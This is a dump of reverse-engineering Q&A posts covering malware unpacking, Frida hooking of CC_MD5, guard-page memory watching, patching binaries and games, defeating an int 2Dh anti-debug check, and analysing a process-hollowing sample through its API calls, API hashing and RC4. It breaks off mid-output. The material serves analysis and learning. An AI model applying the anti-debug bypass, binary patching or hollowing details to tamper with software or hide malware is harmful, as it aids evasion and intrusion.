tutorial that learn unpacking 0-100?</p> </blockquote> </li> </ol> <p>No, it would be too easy. But you can find some tutorial on how to unpack X sample. Try to reproduce them. My personal advice would be to learn how to unpack something protected with a specific packer by following along with a write-up, then search another malware that is using the same packer, and do it alone. Then repeat with another packer. After some time, you'll see that it's almost every time the same thing.</p> <ol start="6"> <li> <blockquote> <p>How-to Go From Zero to Hero in Unpacking?</p> </blockquote> </li> </ol> <p>Practice. Practice again and again. Start with an easy packer (open-source ones or widely used) and slowly increase the level. If you are stuck, search for some write-ups. If you are really stuck, search for something easier. You'll come back to it later.</p> <p>Unpacking can be a bit frustrating and time-consuming at first, but eventually it will become almost automatic for you. You just have to try again and again. It's OK if you start with basic packed malware. It will help you to build an understanding on how it works. Then the slight variations from the standard unpacking process will become obvious.</p> <p>Some resources:</p> <ul> <li><a href="https://www.unpac.me/#/" rel="nofollow noreferrer">https://www.unpac.me/#/</a> (automated unpacking servcie)</li> <li><a href="https://forum.tuts4you.com/files/category/67-unpacking/" rel="nofollow noreferrer">https://forum.tuts4you.com/files/category/67-unpacking/</a> (tutorials)</li> <li><a href="https://github.com/ProIntegritate/Malware-unpacking" rel="nofollow noreferrer">https://github.com/ProIntegritate/Malware-unpacking</a> (repo with exercices)</li> <li><a href="https://www.youtube.com/watch?v=KvOpNznu_3w&amp;list=PL3CZ2aaB7m83eYTAVV2knNglB8I4y5QmH" rel="nofollow noreferrer">https://www.youtube.com/watch?v=KvOpNznu_3w&amp;list=PL3CZ2aaB7m83eYTAVV2knNglB8I4y5QmH</a> (hasherezade unpacking tutorial playlist)</li> <li><a href="https://www.youtube.com/c/OALabs/videos" rel="nofollow noreferrer">https://www.youtube.com/c/OALabs/videos</a> (OAlabs youtube channel)</li> <li><a href="https://repo.zenk-security.com/Reversing%20.%20cracking/The%20Art%20of%20Unpacking.pdf" rel="nofollow noreferrer">https://repo.zenk-security.com/Reversing%20.%20cracking/The%20Art%20of%20Unpacking.pdf</a> (The Art of Unpacking - some techniques and tricks)</li> </ul>
27970
2021-07-08T10:16:30.570
<p>I asked a lot of questions in this forum about RE and I am a beginner who is very interested in reverse engineering. (i am learning the RE with Lena151)</p> <ol> <li>What is unpack?</li> <li>Which tools need to unpack a software?</li> <li>Is there anyway for manual unpack?</li> <li>How to unpack software that used unknown packer?</li> <li>Is there any tutorial that learn unpacking 0-100?</li> <li>How-to Go From Zero to Hero in Unpacking?</li> </ol> <p>I want to know more about unpacking, all the things that make me a professional.</p>
What is unpack? how to become professional Unpacker?
|unpacking|
<p><a href="http://github.com/joxeankoret/diaphora" rel="nofollow noreferrer">Diaphora</a> is the closest thing to what I'd like to have.</p> <p>It doesn't port everything, though: doesn't port stack variables(arguments, local variables), which is a good enough and important enough chunk of reversing functions.</p>
27974
2021-07-09T20:21:48.613
<p>I have reversed a number of functions and added definitions for some structs in an Intel x64 PE executable. A program got an update. I moved old executable with the old database into another folder and I opened new executable and IDA created new database.</p> <p>Now I'd like to move information I gathered in the old executable into the new database: function names, comments for specific assembly lines, defined structures, renamed offsets(in the assembly instruction ) to represent offets of structs, etc.</p> <p>I googled it and found BinDiff plugin for IDA, and successfully ported function names and comments to the same executable(in a small VC++ test solution) opened in another folder with debugging symbols stripped.</p> <p>But it didn't touch the defined structures. The reason I used a small test project is because when I tried it on a real IDB, it was taking IDA too long to BinDiff the databases: the IDBs are 1.4GB in size with 180k functions recognized by IDA. I left it for half an hour and then decided to try it on a small project.</p> <p>So how to move all relevant information to the new database for the new version of the executable?</p>
How to move function names, comments, local variable names and structs to a database for a new version of the executable?
|ida|
<p>To answer my own question, you can use the Linux kernel module <code>tty0tty</code> to capture the control pins and data flow.</p>
27976
2021-07-10T04:45:44.687
<p>I am reverse engineering how a CPS software package communicates to a radio device. I have the basics down, and want to trick the software into thinking COM1 is the radio, when in reality I want to capture the control flow pin state changes (CTR and RST).</p> <p>I am running Windows XP in Qemu and/or Virtual Box with Linux as the base OS. Is there a way for Linux to emulate a software-defined serial port that captures all pin state changes?</p> <p>I have tried using <code>socat</code>, specifically with something like this <code>socat -d -d pty,raw,echo=0,b9600 pty,raw,echo=0,b9600</code>, but attempts to change the control flow pins on the resulting <code>/dev/pts/X</code> will result in an <code>ioctl</code> error. Also, simple <code>cat /dev/pts/X</code> only shows content sent over the device, not control flow changes.</p> <p>How would I do this? And, how would I pass the resulting device to a Windows VM to make it think it is communicating with <code>COM1</code>?</p> <p>Thanks!</p>
How to capture control flow pins on emulated serial port?
|linux|serial-communication|virtual-machines|
<p>VirtualProtect locks whole page and Raises an Exception on access and removes the PAGE_GUARD Memory Protection.<br /> In the Exception Handler you watch for a your small block<br /> If except-&gt;ExceptionRecord-&gt;ExceptionAddress is not within your watch block<br /> you reset the protection within Your Exception Handler.<br /> reset the ContextRecord-&gt;Rip to next instruction and return EXECEPTION_CONTINUE_EXECUTION</p> <p>see below for a sample code</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;windows.h&gt; typedef struct _S1{ int field_a; int field_b; } S1, *PS1; //putting guarded data in a seperate section for convenience #pragma data_seg(push, MyGuardedSection, &quot;.guarded&quot;) S1 t1 = {0, 0}; #pragma data_seg(pop, MyGuardedSection) DWORD oldprot = 0; int filter(unsigned int code, struct _EXCEPTION_POINTERS *except){ if (code == EXCEPTION_GUARD_PAGE &amp;&amp; except-&gt;ExceptionRecord-&gt;ExceptionAddress != (&amp;(t1.field_b))) { VirtualProtect(&amp;t1.field_b, sizeof(t1.field_b), 0x140, &amp;oldprot); except-&gt;ContextRecord-&gt;Rip += 6; return EXCEPTION_CONTINUE_EXECUTION; } printf(&quot;%x\n%p\n&quot;, except-&gt;ExceptionRecord-&gt;ExceptionCode, except-&gt;ExceptionRecord-&gt;ExceptionAddress); return EXCEPTION_EXECUTE_HANDLER; } int main(void){ DWORD counter = 0; DWORD loopcount = 0; VirtualProtect(&amp;t1.field_b, sizeof(t1.field_b), 0x140, &amp;oldprot); __try { while (loopcount &lt; 2) { while (counter &lt; 0x30) { t1.field_a++; //this will raise guard page exception counter++; // we return here from handler after reguarding printf(&quot;%x &quot;, counter); Sleep(0x10); } counter = 0; loopcount += 1; printf(&quot;\nwe have reset guard page exception 0x60 times \n&quot;); } printf(&quot;we access our field now \n&quot;); t1.field_b = 0xdead; //this again will raise exception and we execute handler } __except (filter(GetExceptionCode(), GetExceptionInformation())) { //removing page guard VirtualProtect(&amp;t1.field_b, sizeof(t1.field_b), 0x40, &amp;oldprot); printf(&quot;t1.field_b = %x\n&quot;, t1.field_b); t1.field_b = 0xdead; printf(&quot;t1.field_b = %x\n&quot;, t1.field_b); // no exception printf(&quot;Handler for PG %x\n&quot;, GetExceptionCode()); } } </code></pre> <p>compiled and executed</p> <pre><code>:\&gt;cl /Zi /W4 /analyze /EHsc /nologo vlock.cpp /link /release vlock.cpp :\&gt;vlock.exe 1 2 3 4 5 6 7 8 9 a b c d e f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 we have reset guard page exception 0x60 times 1 2 3 4 5 6 7 8 9 a b c d e f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 we have reset guard page exception 0x60 times we access our field now c0000005 00007FF7CA131159 t1.field_b = 0 t1.field_b = dead Handler for PG c0000005 </code></pre>
27978
2021-07-10T20:37:02.177
<p>I'm looking for a way to get notified when some block of memory of the current process change.</p> <p>To be more specific, I want to track when some fields of a struct change.</p> <p>Let's say I have one instance of this struct in memory:</p> <pre><code>struct { int field_a; int field_b; } my_struct; </code></pre> <p>Is there any way to register a callback to notify me when any field has changed?</p> <p>I know some debuggers provide &quot;data breakpoints&quot; which pauses execution when a specified variable change.</p> <p>Is there any way, maybe some win32 debug api or interrupt that make this possible ?</p>
Is there any way to watch a block of memory of the current process for change?
|winapi|
<p>The main problem of your code is that you expect the <code>md</code> parameter to be a string. In C the <code>unsigned char *</code> is not an indicator for a string. Instead it is often for storing binary data.</p> <p>In this case <code>md</code> is also just a pointer where the MD5 functions stores it's 16 byte of binary data. If you want to print the content you have to encode it e.g. hexadecimal or base64.</p> <p>For printing binary data you can use Frida's <a href="https://frida.re/docs/javascript-api/#hexdump" rel="nofollow noreferrer">hexdump</a> method.</p> <p>Alternatively you can convert the binary data yourself to a hexadezimal string and format it based on your preferences:</p> <pre><code>var a = retval.readByteArray(16) var b = new Uint8Array(a); var str = &quot;&quot;; for(var i = 0; i &lt; b.length; i++) { str += (b[i].toString(16) + &quot; &quot;); } console.log(&quot;[+] Resulting hash: &quot; + str); </code></pre> <p><a href="https://github.com/frida/frida/issues/329#issuecomment-326219950" rel="nofollow noreferrer">Source of the code snippet</a></p>
27984
2021-07-12T08:49:22.177
<p>I am trying to understand the usage of calls to CC_MD5 in an iOS application.</p> <p>From Apple's <a href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/CC_MD5.3cc.html" rel="nofollow noreferrer">man page</a> I can see that when it is called it requires 3 arguments:</p> <pre><code>extern unsigned char * CC_MD5(const void *data, CC_LONG len, unsigned char *md); </code></pre> <p>where <code>*md</code> is a pointer to where the result will be stored and is also what will be returned.</p> <p>When <code>CC_MD5</code> is called I would like to be able to log the input data and the resulting hash and have tried using the following script with Frida, including different ways of printing the data at the return pointer:</p> <pre><code>Interceptor.attach(Module.findExportByName(&quot;/usr/lib/libSystem.B.dylib&quot;, &quot;CC_MD5&quot;), { onEnter: function(args) { console.log(&quot;[+] CC_MD5 called with *data: &quot; + Memory.readCString(args[0], parseInt(args[1], 16))); console.log(&quot;[+] *len: &quot; + parseInt(args[1], 16)); console.log(&quot;[+] *md: &quot; + args[2]); }, onLeave: function(retval) { console.log(&quot;[+] Resulting hash: &quot; + Memory.readCString(ptr(retval),16)); console.log(&quot;[+] Resulting hash: &quot; + retval.readByteArray(16)); console.log(&quot;[+] Resulting hash: &quot; + retval.readCString(16)); } }); </code></pre> <p>I understand that it will not always be printable text that is passed to the function as the input data however am having problems actually reading the resulting hash. Below is an example of the output I am getting:</p> <pre><code>[+] CC_MD5 called with *data: MGCopyAnswerProductVersion [+] *len: 26 [+] *md: 0x16f6d61f0 [+] Returning *md: 0x16f6d61f0 [+] Resulting hash: ��]vU �)�� [+] Resulting hash: [object ArrayBuffer] [+] Resulting hash: ��]vU �)�� </code></pre> <p>I don't know if I have misunderstood how <code>CC_MD5</code> is called or what I should be able to do with Frida?</p>
Log input data and resulting hash for CC_MD5 calls in an iOS app with Frida
|memory|ios|frida|hash-functions|
<p>Fixed with hooking the main function just as it is normally done with hooking technics. Note, that although the function above is called main, it is not the one called when the application starts. So, might be different for the actual main function.</p>
27989
2021-07-12T20:32:29.600
<p>I am trying to modify the main function for a specific decompiled <code>.exe</code>. More specifically, I want to remove the reference to GUI from that <code>.exe</code> file, so that GUI doesn't get initialised on the startup and also make a call to a different function, which normally gets called from the subsequent GUI dialog.</p> <p>Example:</p> <pre><code>__int64 __fastcall gladius::Game::main(gladius::Game *this, int a2, char **a3, char **a4) { gladius::Game *v4; // rbx@1 v4 = this; gladius::Game::initialize(this, a2, a3, a4); proxy::gui::GUI::run(*((proxy::gui::GUI **)v4 + 5)); gladius::Game::quit(v4); return 0i64; } </code></pre> <p>called from the entry point to this program:</p> <pre><code>int main(int param_1,char **param_2,char **param_3) { int iVar1; Game local_68 [96]; gladius::Game::Game(local_68); iVar1 = gladius::Game::main(local_68,param_1,param_2,param_3); gladius::Game::~Game(local_68); return iVar1; } </code></pre> <p>I want to change this to something like this:</p> <pre><code> __int64 __fastcall gladius::Game::main(gladius::Game *this, int a2, char **a3, char **a4) { gladius::Game *v4; // rbx@1 v4 = this; gladius::Game::initialize(a2, a3, a4); gladius::world::World::create(); gladius::Game::quit(v4); return 0i64; } </code></pre> <p>Will call to the <code>gladius::Game::main</code> be possible from say proxy DLL in this case? Or as it is a main function it won't be called properly?</p>
Modify main function for C++ game file
|c++|.net|dll-injection|game-hacking|proxy|
<p>Based on this limited amount of psuedo-C:</p> <pre><code>struct password_buffer { byte len:7; byte use_pointer:1; union { byte buffer[128]; struct { byte pad[3]; uint len; char *buf; } pointer; }; }; </code></pre> <p>This &quot;password&quot; should be probably be treated like a union. That low bit is not odd or even, it's a flag to decide if the password is a buffer or in a pointer.</p> <p>When the least significant bit is unset in the first byte, then the password is a buffer with the zero index byte containing the length in the high 7 bits followed directly by the password.</p> <p>When the least significant bit is set in the first byte, then the length is the first uint after this first byte (4-byte aligned) and password is stored in memory with a pointer.</p> <p>This structure probably will default to the &quot;buffer&quot; when the string is less than 128 characters; otherwise, it will be in other memory with a pointer to the memory and a length value.</p> <p>structs like this will not cleanly be represented by most decompilation tools. There's just not enough information in the assembly to do so.</p>
27991
2021-07-12T23:09:59.803
<p>I am trying to understand the following snippet. I understand that the first check would check if it is even if it would be an int, but I don't understand it in this context.</p> <p>Could someone explain to me what this does?</p> <pre><code>if (((byte)*password &amp; 1) == 0) { buf = password + 1; len = (uint)((byte)*password &gt;&gt; 1); } else { len = *(uint *)(password + 4); buf = *(basic_string **)(password + 8); } bp = BIO_new_mem_buf(buf,len); </code></pre>
string pointer to byte conversion condition
|binary-analysis|c|ghidra|
<p>In the project view, open Edit -&gt; Tool Options. Select the &quot;Tool&quot; section, and change the &quot;Swing Look and Feel&quot; to whatever you like. I chose GTK+. Restart Ghidra and you should be back in action.</p>
28004
2021-07-15T11:52:34.717
<p>I have nearly ruined my Ghidra layout, and was wondering if there is an equivalent to IDA-Pro's Windows-&gt;Reset Desktop, which would reset the code browser's layout to its default form.</p> <p>I am aware that I can drag the floating windows back into position.</p>
Ghidra: equivalent to IDA-Pro's "Reset desktop"
|ghidra|
<p>Since you are dealing with a dot Net application, this will be super easy.</p> <p>As dot Net application are 'compiled' using an Intermediate Language (IL), you may be able to recover something very close to the original source code. If the binary is not obfuscated/protected, you just have to open-up your application in a .NET editor.</p> <p>DnSpy is the one that I find the most complete. Other software can be used, like ILSpy for instance.</p> <p>Theses tools allows you to edit the decompiled code, then to re-compile it.</p> <p>In your case, you have to find where this IP is being declared, change it to whatever you want, then recompile the binary.</p> <p>This is not allays that easy, but you are lucky: you found the easier reverse-engineering case :)</p>
28008
2021-07-16T10:57:46.137
<p>I dont have much knowledge with assemblers. I beg ur pardon in advance.</p> <p>I need to change an IP address in a win-binary (Net) where the IP its hard-coded. Just changing the IP with an Hex Editor would be that easy. But the new IP has longer Octet - e.g.</p> <p><a href="https://i.stack.imgur.com/w1CCh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/w1CCh.png" alt="enter image description here" /></a></p> <p>I want to change the 123.12.12.123 to 123.12<strong>3</strong>.12<strong>3</strong>.123 Just inserting some digits per Hex Editor makes the file corrupt (adresses from routines etc. are moving I guess).</p> <p>What would be the &quot;easiest&quot; way to do that? Thanks.</p>
Inserting two digits into binary per Hex - without making EXE corrupt
|patching|.net|hex|strings|
<p>I don't know how my tools are doing it under the hood, but if I had to do it myself, I would search for some function's prologues related to my architecture of choice.</p> <p>This is a good 'signature' to identify a function, as this is something standard (even if you may find some cases where a function doesn't have any prologue/epilogue).</p> <p>As you may know, the prologue of a function is designed to save the previous stack frame, and setup a fresh new one that is able to handle the function's local variables, without messing with what was stored one the stack by the previous function. It is also used to store the address where to return to at the end of the function (basically saving the old instruction pointer + x, and overwriting it at the end of your function).</p> <p>In the opposite, the end of a function contains an epilogue, witch should restore the previous stack frame, and return to the previous routine.</p> <p>It all depend on which compilator was used to generate your target binary, but a typical ARM64 function's epilogue looks like this:</p> <pre><code>sub sp, sp, #32 ; make rooms on the stack for the new stack frame stp x29, x30, [sp, #16] ; save what is needed to restore the previous stack frame and where to return (respectively x29 the previous SP, and x30 the return address) add x29, sp, #16 ; new frame pointer </code></pre> <p>If you have a binary blob of code that contains some functions, try to look for the opcodes of theses instructions. It should indicate where functions starts.</p> <p>Now for the implementation itself: take advantage of your tools and what's already existing. You added the 'IDA' tag, so I guess that's what you are taking about when referring to your 'favorite tool'.</p> <p>When IDA is not able to find any functions (for instance if I try to disassemble a big blob of ARM data that have no entrypoint and some spaced functions inside), I use this small IDAPython snippet that is able to search for a given binary pattern, disassemble everything that start by this, and add it to the functions and disassembly list. The IDA auto-analysis will be trigger by this, and it should find other functions that are called inside the first one, and so on.</p> <pre><code>from idaapi import * from ida_search import * from ida_funcs import * cnt = 0 my_pattern = '' # The hex value of the opcodes you are looking for def is_function(start_addr): content = get_bytes(start_addr, 4, False).hex() if content == my_pattern: return True return False addr = find_unknown(0, 1) while addr != BADADDR is_valid = is_function(addr) if is_valid: add_func(addr) cnt += 1 addr = find_unknown(addr, 1) print('A total of ' + str(cnt) + ' new functions where defined') </code></pre> <p>This one is very aggressive, and may find 'false positives' if a blob of junk data contains something that looks like your binary pattern.</p> <p>If it find nothing, it means that your pattern is not a good one. In this case, disassemble at random locations in IDA until you find a valid function. When you have one, check how this function prologue looks like. It may be slightly different, and your signature was not matching it. Update the script with this new signatures, and you should be good.</p>
28016
2021-07-18T20:16:26.287
<p>I'm kinda new in the ARM world, and a question suddenly came up in my mind: how does (your favorite reverse engineering tool) know where a subroutine of an ARM64 file is starting (because I'd like to write a tool to know how many functions the file has)?</p> <p>thanks in advance.</p>
How to know when a subroutine starts when reversing an ARM64 file?
|ida|arm|
<p>When in ida you use patch byte, patch word, or assemble, the patch is NOT applied to the base executable. You just have to go to Edit-&gt; Patch program -&gt; Apply patches to input file. Then your input file is modified now.</p>
28030
2021-07-22T17:39:15.637
<p>Using IDA Pro, I tried to patch <code>int 2Dh</code> to <code>nop</code>. However, with the debugger, it seems that the original code is being loaded. What may be the reason for that? This might be related for some protections? I'm new to RE and to IDA. I did not yet analyze deeply the routines before the <code>int 2Dh</code> anti-debug technique.</p> <p>The view during static analysis is:</p> <p><a href="https://i.stack.imgur.com/juuW4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/juuW4.png" alt="enter image description here" /></a></p> <p>The view during debug is:</p> <p><a href="https://i.stack.imgur.com/k0GWi.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/k0GWi.png" alt="enter image description here" /></a></p> <p>As you may notice, the original <code>int 2Dh</code> command has been reverted.</p>
IDA Pro Debbuger is debugging the original code and not the patched code
|ida|debugging|anti-debugging|
<p>Disclaimer: I'm going to expose my workflow when I see similar things. I'm not telling you that this is the best one or the faster, and I'm sure you have a lot of other way to deal with this. But this should give you an insight on how you can do this.</p> <p>As your question is really wide and does not contain any details (malware name, hash, or what 'failed to analyse' means) my answer is too.</p> <h3 id="process-hollowing-nmdb">Process Hollowing</h3> <p>Fire-up your favorite debugger, load your binary, and put breakpoints on <em>CreateProcessInternalW</em>, <em>ZwUnmapViewOfsection</em>, <em>WriteProcessMemory</em> and <em>ResumeThread</em>.</p> <p>This should allow you to observe the full process-hollowing technique.</p> <ul> <li><p>Hit to <em>CreateProcessInternalW</em>: The process where the injection is going to occur is created by the loader. You should see that the creation flag is set to 0x4 (Suspended). If you open-up procexp or something like that, you should be able to observe the suspended process in your environment.</p> </li> <li><p>Hit to <em>ZwUnmapViewOfsection</em>: The previously created process content is wipe. This will make room for the malicious code that is going to be injected later.</p> </li> <li><p>Hit to <em>WriteProcessMemory</em>: The malicious code is injected in the empty suspended process. This can be done sections by sections, or from a big blob that contains the full PE. You may want to dump it from here, by looking at the source buffer of the <em>WriteProcessMemory</em> call.</p> </li> <li><p>Hit to <em>ResumeThread</em>: The malicious process is then ready to be resume. Your second option is to dump it there, when you are sure that the target process is ready to be launch.</p> </li> </ul> <p>Once you have your dump, start by looking at the sections in PE-bear (or equivalent) to unmappe it. As your dump was taken from memory, the sections are not aligned as it should be on the disk.</p> <p>Once you re-aligned everything, check if your IAT seems coherent. Even if it use some API hashing technique, you should at least find an entry for <em>LoadLibrary</em> and <em>GetProcAddress</em>. This will confirm that your dump is properly aligned on disk. (Additionally it should run if you execute it).</p> <p>You can now import this in IDA and start the analysis.</p> <h3 id="api-hashing-fek2">API Hashing</h3> <p>For this part, you want to reverse the hashing algorithm.</p> <p>First, find the function in charge of doing so. It should be easy to spot, as it should take a DWORD as argument, and a string (or another DWORD if the DLL name is hashed too). The string being the name of the DLL where the API comes from, and the DWORD being the API hash. Small tip: you can also list the functions by their number of call. The API resolving function should be called from a huge number of different place in the code, and is usually the one with the more references.</p> <p>It is not impossible that the DLL name is decoded/decrypted just before the API resolving function.</p> <p>If you are not sure, open it in a debugger, and execute random instructions just after the entrypoint, until you can observe the resolving mechanism.</p> <p>If the DLL name is encoded/encrypted (witch is usually the case), start by reversing the algorithm. It can also be another hashing algorithm (or even the same one that the API). generally speaking, this part is easier to deal with, and you'll face some basic strings manipulations used to recover the DLL name.</p> <p>Once you understand it, write a small function that is supposed to take an encrypted/encoded DLL name, and returns the plaintext one. You can then convert it to an IDAPython script that is going to label your idb with the plaintext names.</p> <p>Half of the job is done here. Now, focus on the API hashing technique. Start by checking if the hash is not a standard one (CRC or others). If this is done by hand, try to see if the hashing algorithm is not vulnerable to some reverse-manipulation that could lead to the recovery of the plaintext related hash.</p> <p>If the algorithm is strong enough, you will not be able to recover the API name from the hash, but you'll have to bruteforce it. Luckily for you, you already have the name of the DLL where the API is going to be import. So you know that this hash resolve to something in a pre-defined list of API.</p> <p>The idea is to re-implement the hashing algorithm, take the list of API defined in the target DLL, and pass them to your algorithm. Then, match the hash with the correct API name.</p> <p>Once again, you can automate this with an IDAPython script to label your idb and makes things easier for you.</p> <p>You now have something a bit more readable, and you should be able to understand the general goal of this malware.</p> <h3 id="rc4-encryption-er6x">RC4 encryption</h3> <p>This part is standard as the RC4 algorithm is well documented, not that hard to reverse, easy to spot, and very popular among malwares.</p> <p>As always, try to identify your encryption function. You can search for some specific part of the algorithm (KSA, PRGA and the XOR) that have some hardcoded constants. The easy to stop one is the 'for' loop in the KSA, that should give you the following pseudo-code:</p> <pre><code>for (int i = 0; i &lt; 0x100; i++) { S[i] = i; [...] } </code></pre> <p>Every-time you see this, you can be sure that this is RC4.</p> <p>Now, trace back those function to the main encryption wrapper. If this is standard, you should see two buffer being passed to the function: one for the encrypted content, and one for the key.</p> <p>Once again, write a small script to decode this (plenty of libraries for RC4), and you should be able to recover the plaintext strings.</p> <p>Don't forget to test your script on several encrypted strings, as the key may be different for each one.</p> <p>Once you have marked up your idb with the plaintext string, you should have everything to analyze this malware.</p>
28031
2021-07-22T17:55:58.143
<p>I'm trying to reverse engineer a malware which uses a <code>Process Hollow</code> technique. This malware uses an <code>API hashing</code> technique and contains some RC4 encryption algorithm references.</p> <p>I already knew the entry point of the resumed thread and dumped it out but IDA failed to analyze the dumped code.</p> <p>What should I do?</p> <h3 id="solution-we1h"><strong>Solution:</strong></h3> <p>After dumping the injected code I have to fix the alignment of the file. According to <a href="https://reverseengineering.stackexchange.com/a/21932/36056">https://reverseengineering.stackexchange.com/a/21932/36056</a></p> <p>In IDA, the final address is calculated by <code>(base &lt;&lt; 4) + offset</code> so I have to set the loading segment to <code>0</code> and the loading offset to the <code>BaseAddr</code> of injected code</p> <h3 id="defeat-dynamic-resolving-to-lable-apis-in-ida-4lks"><strong>Defeat dynamic resolving to lable APIs in IDA:</strong></h3> <p>I set a bp on <code>GetProcAddress</code> to build a table of APIs and then use a tool called <code>apiscout</code> <a href="https://github.com/danielplohmann/apiscout" rel="nofollow noreferrer">https://github.com/danielplohmann/apiscout</a> to dynamically resolve all APIs in IDA</p>
How to analyze dumped process?
|ida|injection|
<p>As i commented is this what you are looking for ?</p> <pre><code>&gt;&gt;&gt; base = getDataContaining(currentProgram.imageBase) &gt;&gt;&gt; base IMAGE_DOS_HEADER &gt;&gt;&gt; for i in range (0,base.length,1): ... print ( base.baseDataType.getComponentAt(i).toString() , base.getComponentAt(i)) ... (u' 0 0 char[2] 2 e_magic &quot;Magic number&quot;', char[2] &quot;MZ&quot;) (u' 0 0 char[2] 2 e_magic &quot;Magic number&quot;', char[2] &quot;MZ&quot;) (u' 1 2 word 2 e_cblp &quot;Bytes of last page&quot;', dw 90h) (u' 1 2 word 2 e_cblp &quot;Bytes of last page&quot;', dw 90h) (u' 2 4 word 2 e_cp &quot;Pages in file&quot;', dw 3h) (u' 2 4 word 2 e_cp &quot;Pages in file&quot;', dw 3h) (u' 3 6 word 2 e_crlc &quot;Relocations&quot;', dw 0h) (u' 3 6 word 2 e_crlc &quot;Relocations&quot;', dw 0h) (u' 4 8 word 2 e_cparhdr &quot;Size of header in paragraphs&quot;', dw 4h) (u' 4 8 word 2 e_cparhdr &quot;Size of header in paragraphs&quot;', dw 4h) (u' 5 10 word 2 e_minalloc &quot;Minimum extra paragraphs needed&quot;', dw 0h) (u' 5 10 word 2 e_minalloc &quot;Minimum extra paragraphs needed&quot;', dw 0h) (u' 6 12 word 2 e_maxalloc &quot;Maximum extra paragraphs needed&quot;', dw FFFFh) (u' 6 12 word 2 e_maxalloc &quot;Maximum extra paragraphs needed&quot;', dw FFFFh) (u' 7 14 word 2 e_ss &quot;Initial (relative) SS value&quot;', dw 0h) (u' 7 14 word 2 e_ss &quot;Initial (relative) SS value&quot;', dw 0h) (u' 8 16 word 2 e_sp &quot;Initial SP value&quot;', dw B8h) (u' 8 16 word 2 e_sp &quot;Initial SP value&quot;', dw B8h) (u' 9 18 word 2 e_csum &quot;Checksum&quot;', dw 0h) (u' 9 18 word 2 e_csum &quot;Checksum&quot;', dw 0h) (u' 10 20 word 2 e_ip &quot;Initial IP value&quot;', dw 0h) (u' 10 20 word 2 e_ip &quot;Initial IP value&quot;', dw 0h) (u' 11 22 word 2 e_cs &quot;Initial (relative) CS value&quot;', dw 0h) (u' 11 22 word 2 e_cs &quot;Initial (relative) CS value&quot;', dw 0h) (u' 12 24 word 2 e_lfarlc &quot;File address of relocation table&quot;', dw 40h) (u' 12 24 word 2 e_lfarlc &quot;File address of relocation table&quot;', dw 40h) (u' 13 26 word 2 e_ovno &quot;Overlay number&quot;', dw 0h) (u' 13 26 word 2 e_ovno &quot;Overlay number&quot;', dw 0h) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 14 28 word[4] 8 e_res[4] &quot;Reserved words&quot;', dw[4] ) (u' 15 36 word 2 e_oemid &quot;OEM identifier (for e_oeminfo)&quot;', dw 0h) (u' 15 36 word 2 e_oemid &quot;OEM identifier (for e_oeminfo)&quot;', dw 0h) (u' 16 38 word 2 e_oeminfo &quot;OEM information; e_oemid specific&quot;', dw 0h) (u' 16 38 word 2 e_oeminfo &quot;OEM information; e_oemid specific&quot;', dw 0h) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 17 40 word[10] 20 e_res2[10] &quot;Reserved words&quot;', dw[10] ) (u' 18 60 dword 4 e_lfanew &quot;File address of new exe header&quot;', ddw 108h) (u' 18 60 dword 4 e_lfanew &quot;File address of new exe header&quot;', ddw 108h) (u' 18 60 dword 4 e_lfanew &quot;File address of new exe header&quot;', ddw 108h) (u' 18 60 dword 4 e_lfanew &quot;File address of new exe header&quot;', ddw 108h) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual 